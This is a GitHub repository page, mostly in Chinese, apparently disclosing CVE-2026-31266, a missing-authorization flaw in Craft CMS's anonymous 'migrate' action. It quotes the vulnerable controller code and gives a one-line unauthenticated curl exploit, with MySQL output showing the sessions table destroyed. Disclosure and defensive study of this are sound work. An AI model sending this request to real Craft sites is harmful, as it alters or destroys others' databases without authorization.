0xrixet/Craftcms-PoC-CVE-2026-31266
GitHub: 0xrixet/Craftcms-PoC-CVE-2026-31266
该项目是 Craft CMS CVE-2026-31266 授权缺失漏洞的概念验证,演示了由于 migrate 接口允许匿名访问而导致的身份验证绕过问题。
Stars: 0 | Forks: 0
# CVE-2026-31266 - Craft CMS 缺少授权
## CVE 信息
| 字段 | 值 |
|-------|-------|
| **CVE ID** | CVE-2026-31266 |
| **供应商** | Pixel & Tonic |
| **产品** | Craft CMS |
| **受影响版本** | <= 5.9.5 |
| **CWE** | CWE-862(缺少授权) |
| **CVSS** | 7.3(高危) |
| **安全研究员** | 0xRIXET |
## 证据内容
- `screenshots/` - 概念验证演示
## 漏洞
- **类型:** 缺少授权
- **影响:** 身份验证绕过
- **供应商:** Craft CMS
- **状态:** CVE-2026-31266
## 易受攻击的代码
**文件:** `src/controllers/AppController.php`
**第 65-68 行:**
```
protected array|bool|int $allowAnonymous = [
'migrate' => self::ALLOW_ANONYMOUS_LIVE | self::ALLOW_ANONYMOUS_OFFLINE,
];
```
## 概念验证
```
# 当 allowAdminChanges=false 时
curl -X POST "http://target/actions/app/migrate"
```
## 证据
### 攻击前:
```
mysql> SELECT COUNT(*) FROM sessions;
+----------+
| COUNT(*) |
+----------+
| 0 |
+----------+
```
### 攻击后:
```
mysql> SELECT COUNT(*) FROM sessions;
ERROR 1146 (42S02): Table 'sessions' doesn't exist
```
## 参考
- [Craft CMS 代码库](https://github.com/craftcms/cms)
- [Craft 安全文档](https://craftcms.com/knowledge-base/securing-craft)
- [NVD 条目](https://nvd.nist.gov/vuln/detail/CVE-2026-31266)
## 联系方式
- **安全研究员:** 0xRIXET | Mohammed Al-shehri
- **Twitter | X :** @0xRIXET
- **邮箱:** 0xrixet@gmail.com
标签:Craft CMS, CVE-2026-31266, PoC, Web安全, 暴力破解, 权限绕过, 漏洞分析, 蓝队分析, 路径探测